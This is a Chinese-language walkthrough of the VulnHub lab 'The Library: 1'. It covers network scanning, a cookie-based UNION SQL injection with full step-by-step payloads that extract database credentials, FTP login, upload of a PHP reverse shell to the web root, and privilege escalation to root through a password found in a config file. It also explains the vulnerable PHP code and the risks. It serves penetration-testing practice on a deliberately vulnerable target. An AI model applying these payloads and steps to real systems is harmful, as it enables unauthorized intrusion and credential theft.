The Library: 1靶场渗透
The Library: 1
来自 <https://www.vulnhub.com/entry/the-library-1,334/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.154
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.154
4,访问80端口的http服务
再扫描其子目录看看
gobuster dir -u http://192.168.23.154 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
http://192.168.23.154/library.php
5,导航至 http://10.11.1.212/library.php
分析 cookie 值 lastviewed = {"lastviewed"=="Spain"}
操纵 cookie 以获取有效的查询:
步骤 1 - 找到有效的 cookie 值:
"{"lastviewed"=="'Spain'"}"
步骤 2 - 查找数据库版本:
"{"lastviewed"=="'Spain' UNION SELECT @@version"}"
步骤 3 - 查找数据库名称:
"{"lastviewed"=="'Spain' UNION SELECT database()"}"
步骤 4 - 获取表(access / countries):
"{"lastviewed"=="'Spain' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'library'"}"
"{"lastviewed"=="'Spain' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'library' AND table_name NOT IN ('countries')"}"
步骤 5 - 导出 'access' 表的列(username / password / service / id):
"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access'"}"
"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password')"}"
"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password', 'username')"}"
"{"lastviewed"=="'Spain' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'access' AND column_name NOT IN ('password', 'username', 'service')"}"
步骤 6 - 导出 'access' 表的记录(globus / AroundTheWorld / ftp):
"{"lastviewed"=="'Spain' UNION SELECT username FROM access"}"
"{"lastviewed"=="'Spain' UNION SELECT password FROM access"}"
"{"lastviewed"=="'Spain' UNION SELECT service FROM access"}"
打开 FTP 服务器并使用上述凭据。
漏洞结论(简短)
这是SQL 注入(SQLi)——更具体地,是通过可控的 cookie 值进行的 UNION-based SQL 注入(攻击者用 UNION SELECT ... 从数据库读取任意数据,如 @@version()、database()、information_schema、表/列/行内容等)。
为什么是 SQL 注入?要点解释
- 漏洞入口是 cookie(lastviewed),应用直接把 cookie 内容拼进 SQL 查询而未做安全校验或参数化。
- 攻击者在 cookie 中注入 UNION SELECT ... 能让页面返回任意查询结果(能够看到 @@version()、database()、information_schema、表名、列名、用户/密码等),这正是典型的 UNION-based SQLi 特征。
- 演示里能逐步:探测列/类型、读 DB 版本、读 DB 名、列出表、列出列、导出记录 —— 说明注入已能任意读取数据,权限至少是能执行 SELECT 的 DB 帐号。
风险
- 泄露数据库结构(表、列名)、敏感数据(用户名/密码/凭证)。
- 可进一步写入/修改数据(如果 INSERT/UPDATE/DELETE 也存在或数据库权限足够),或进行时间盲注、基于错误的更复杂攻击。
- 泄露凭据后可横向攻击(如 FTP 登录示例),扩展到内网渗透。
攻击原理(简要)
应用构造类似:
SELECT title, description FROM library WHERE country = '<cookie_value>';
若 cookie 被设置为 Spain' UNION SELECT password FROM access -- 则最终 SQL 变为:
SELECT title, description FROM library WHERE country = 'Spain' UNION SELECT password FROM access -- ';
如果列数/类型匹配,UNION 的结果会被页面渲染,从而泄露 access.password 数据。
检测与验证(给渗透/测试人员的线索)
- 查看响应是否随 cookie 值变化而泄露数据库信息。
- 放入 UNION SELECT null,NULL,@@version()(或根据列数调整)看是否返回 DB 版本。
- 使用错误型注入(如单引号闭合)观察 SQL 错误信息。
- 自动化扫描器(sqlmap)可快速验证并导出数据(注意合法授权)。
6,账户globus,密码AroundTheWorld成功登录到ftp服务器
查看当前文件夹下有什么
发现有一个文件夹叫hmtl,里面有一个文件叫library.php,基本可以判断ftp服务器的工作目录就是网站根目录
典型的 SQL 注入(SQLi)——通过可控的 $_COOKIE['lastviewed'] 值把恶意 SQL 拼进查询(实际是 UNION-based SQLi),因为程序把提取出来的文本直接拼接到 SQL,且没有做转义/参数化/白名单校验。
为什么会注入(关键点)
- 关键代码:
$sql = "SELECT name FROM countries WHERE name = ".get_string_between($_COOKIE['lastviewed'],
"{\"lastviewed\"==\"", "\"}");
程序把 get_string_between(...) 的返回值直接拼接到 SQL,没有加引号、没有转义、也没有使用预处理语句。攻击者可以控制 cookie 中被提取的那段字符串,从而插入 '、UNION SELECT 等 SQL 语句片段,改变原始查询的含义并读出任意结果(如 @@version()、database()、information_schema、表/列/数据等)。
- get_string_between 只是做字符串切取,不做任何安全检查或过滤,无法阻止注入内容包含 ' 或 UNION。
示例:如何构造可用的注入(解释性演示)
假设我们设置 cookie:
lastviewed = {"lastviewed"=="'Spain' UNION SELECT @@version -- "}
get_string_between() 会返回:'Spain' UNION SELECT @@version --
拼接后的 SQL 变为:
SELECT name FROM countries WHERE name = 'Spain' UNION SELECT @@version --
这就是报告中一步步能读出 @@version()、database()、information_schema、表名、列名、再到表记录(username/password/service)的过程 —— 典型的 UNION-based SQLi 枚举流程。
7,上传一个木马到ftp服务器的html目录,这里使用kali自带的木马文件,以便反弹shell
然后再上传shell.php到ftp服务器的html目录下,注意赋予可执行权限
chmod 777 shell.php
在浏览器访问 http://192.168.23.154/shell.php 即可触发反弹shell,注意kali打开对4444端口的监听
成功getshell
8,再尝试获取可交互式shell,并且信息收集一下
python -c 'import pty;pty.spawn("/bin/bash")'
两个普通用户家目录没有什么可利用的
再看一下能否sudo提权,需要密码失败
9,得到数据库信息,包含了root用户的密码
cat /var/www/html/library.php
尝试su root用户
成功提权变成root用户